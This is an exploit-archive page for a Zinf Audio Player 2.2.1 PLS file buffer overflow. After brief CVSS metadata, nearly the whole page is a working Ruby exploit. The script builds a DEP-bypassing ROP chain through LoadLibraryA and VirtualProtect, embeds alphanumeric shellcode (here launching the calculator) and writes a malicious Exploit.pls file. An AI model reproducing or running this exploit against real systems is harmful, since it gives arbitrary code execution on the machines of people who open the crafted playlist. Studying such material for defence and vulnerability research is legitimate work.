Zinf Audio Player v2.2.1 PLS File Buffer Overflow Vulnerability (DEP BYPASS)

2011-08-17 / 2011-08-18
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/ruby # #[+]Exploit Title: Zinf Audio Player v2.2.1 PLS File Buffer Overflow Vulnerability(DEP BYPASS) #[+]Date: 03\08\2011 #[+]Author: C4SS!0 and h1ch4m #[+]Found by: Delikon(http://www.exploit-db.com/exploits/559/) or also Metasploit(http://www.exploit-db.com/exploits/16688) #[+]Software Link: http://sourceforge.net/projects/zinf/files/zinf/2.2.1/zinf-setup-2.2.1.exe/download #[+]Version: 2.2.1 #[+]Tested on: Windows XP SP3 Brazilian Portuguese(DEP in AlwaysOn) #[+]CVE: N/A # # #Exploit Based in Corelan Team Tuturial https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ #LoadLibraryA("msvcr71.dll") + VirtualProtect() # sys = `ver` if sys =~/Windows/ system("cls") system("color 4f") else system("clear") end print ''' Zinf Audio Player v2.2.1 PLS File Buffer Overflow Vulnerability(DEP BYPASS) Created by C4SS!0 and h1ch4m E-mails: C4SS!0 : louredo_@hotmail.com h1ch4m : h1ch4m@hotmail.com Sites: C4SS!0 : net-fuzzer.blogspot.com h1ch4m : net-effects.blogspot.com ''' sleep(3) #Endereco para VirtualProtect 0x7C3528DD #########################################ROP FOR LOAD "msvcr71.dll"################################# rop = [0x10002a6f].pack('V') # PUSH ESP # POP EDI # POP ESI # POP EBP # MOV EAX,1 # POP EBX # ADD ESP,30 # RETN rop += "A" * 12 rop += [0x0040556A].pack('V') # ADD ESP,54 # RETN // Funcao de retorno da LoadLibraryA , Depois de executar LoadLibraryA vem para AQUI.!!! rop += "A" * (80-rop.length) rop += [0x100014e8].pack('V') # MOV EAX,EDI # POP EDI # POP ESI # RETN rop += "G" * 8 # JUNK rop += [0x1205017d].pack('V') # POP EBX # RETN rop += "\x00\x00\x00\x00" rop += [0x1203678a].pack('V') # ADD EBX,EAX # NOP # NOP # NOP # NOP # RETN rop += [0x112054dd].pack('V') # XCHG EAX,EBP # RETN REPLACE rop += [0x00420044].pack('V') # POP EBP # RETN rop += [0x0040556A].pack('V') # ADD ESP,54 # RETN // Funcao de retorno da LoadLibraryA , Depois de executar LoadLibraryA vem para AQUI.!!! rop += [0x10001E11].pack('V') # POP EDI # RETN rop += [0x7C801D7B].pack('V') # Endereco para LoadLibraryA // Conserta o valor de EDI para o PUSHAD rop += [0x1200CA76].pack('V') # PUSHAD # RETN rop += "msvcr71.dll\x00" rop += "D" * 56 ##########################################ROP END HERE#################################### ##########################################ROP FOR VirtualProtect########################### rop += [0x1200edf1].pack('V') # POP EDI # RETN rop += "JJJJ" # JUNK rop += [0x7C3528DD].pack('V') # Ponteiro para VirtualProtect rop += [0x00409E6A].pack('V') # MOV EAX,EBX # POP EBX # RETN 0c rop += "PPPP" rop += [0x0042044B].pack('V') * 3 # RETN rop += [0x0040dc54].pack('V') # PUSH ESI # ADD AL,5E # POP EBP # RETN 04 ############################ADICIONANDO A EAX###################################### rop += [0x7C3410C3].pack('V') # POP ECX # RETN rop += [0x00000200].pack('V') # O valor que sera adicionado a EAX rop += [0x7C358F2C].pack('V') # ADD EAX,ECX # POP ESI # RETN rop += "GGGG" ##################################################################################### rop += [0x0040fd82].pack('V') # XCHG EAX,ECX # POP EBP # RETN rop += "BBBB" rop += [0x1201dc80].pack('V') # MOV EAX,ECX # RETN rop += [0x1060fd8f].pack('V') # XCHG EAX,EBP # RETN ################################MUDA O ENDEREÃ?O DO PARAMETRO####################################### rop += [0x1201dc80].pack('V') # MOV EAX,ECX # RETN rop += [0x12007AD6].pack('V') # POP EBX # RETN rop += "\x00\x00\x00\x00" rop += [0x7c3451b9].pack('V') # POP EDX # RETN rop += "\x00\x00\x00\x00" rop += [0x1203678a].pack('V') # ADD EBX,EAX # NOP # NOP # NOP # NOP # RETN //EndereÃo do ultimo paramentro de VirtualProtect rop += [0x1000333e].pack('V') # ADD EDX,EBX # POP EBX # RETN 10 rop += "QQQQ" rop += [0x12007AD7].pack('V') * 10 # RETN ################################################################################################### rop += [0x0040ba55].pack('V') # XCHG EAX,EDX # RETN // Endereco disponivel rop += [0x12011D0B].pack('V') # XCHG EAX,ECX # CMP EAX,5E5F0002 # RETN rop += [0x12007AD7].pack('V') # RETN rop += [0x10001436].pack('V') # MOV EAX,ECX # POP EBX # RETN rop += "GGGG" rop += [0x12007AD6].pack('V') # POP EBX # RETN rop += "\x00\x03\x00\x00" rop += [0x11601da9].pack('V') # POP EAX # RETN rop += "\x40\x00\x00\x00" rop += [0x0040ba55].pack('V') # XCHG EAX,EDX # RETN rop += [0x12026C85].pack('V') # PUSHAD # RETN rop += "A" * 156 #########################Ir para o shellcode depois da funÃao VirtualProtect############### rop += [0x10002e13].pack('V') # ADD EAX,ECX # RETN rop += [0x10610e4d].pack('V') # POP ECX # RETN rop += [0x0000012b].pack('V') # Valor que sera adicionado a EAX rop += [0x10002e13].pack('V') # ADD EAX,ECX # RETN rop += [0x111025F1].pack('V') # CALL EAX and JMP to my Shellcode. :) ##########################################ROP END HERE##################################### shellcode = "\x44" * (50-0x12) shellcode += "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIONMRU2SJXH9KHNHYD4FDK"+ "D0XGC9YX1FRP1T0B2TCRPEBK3RJMNZ8GMLV879DONSVQXK7FWLCSIJ5VLO0WXWYWVLDO0O2SZGL62OVO"+ "RP3N3DMMERZJDY3R9N0Q695JE6J3KEUYGM5LNQTR0EK3PUDYY0PN3MY3NQ4KX980PGSPPN3N5L3Q5RI9"+ #Shellcode Alpha Numeric WinExec "Calc.exe" "GQ3J5M6MO9KMMOQ7OHZT2X2SLLUKOS1L6VDN6QKJWUGTV07YVMHMKQY4N5NG4WLE4QML9QWOOELVEXMQ"+ #Baseaddress EAX. "2LFNN2UMWFWE2KSPLWK8OSWDJ1O8NOTGPQK1K0KJGZJ5OE8VCNW9T4Q2RUMOZ6NCTL9TSLKJNZKW0NMN"+ "LSQMFWOHKHLLX7ON4SNZQ4NQO4QMVLNMZPVD89ULWKNTQMP0M1S3L6SNXMWBYNPPIT73NOXWKRRVZRN8"+ "WDN0SUK8WOMV4DNNTWPYWN27KA" buf = "A" * 1300 buf += rop buf += shellcode print "\t\t[+]Creating Exploit File...\n" sleep(1) begin File.open("Exploit.pls","wb") do |f| f.write buf f.close print "\t\t[+]File Exploit.pls create successfully.\n" sleep(1) end rescue print "**[-]Error: #{$!}\n" exit(0) end

References:

http://www.securityfocus.com/bid/11248
http://www.debian.org/security/2004/dsa-587
http://xforce.iss.net/xforce/xfdb/17491
http://secunia.com/advisories/12656
http://marc.theaimsgroup.com/?l=bugtraq&m=109638486728548&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=109608092609200&w=2


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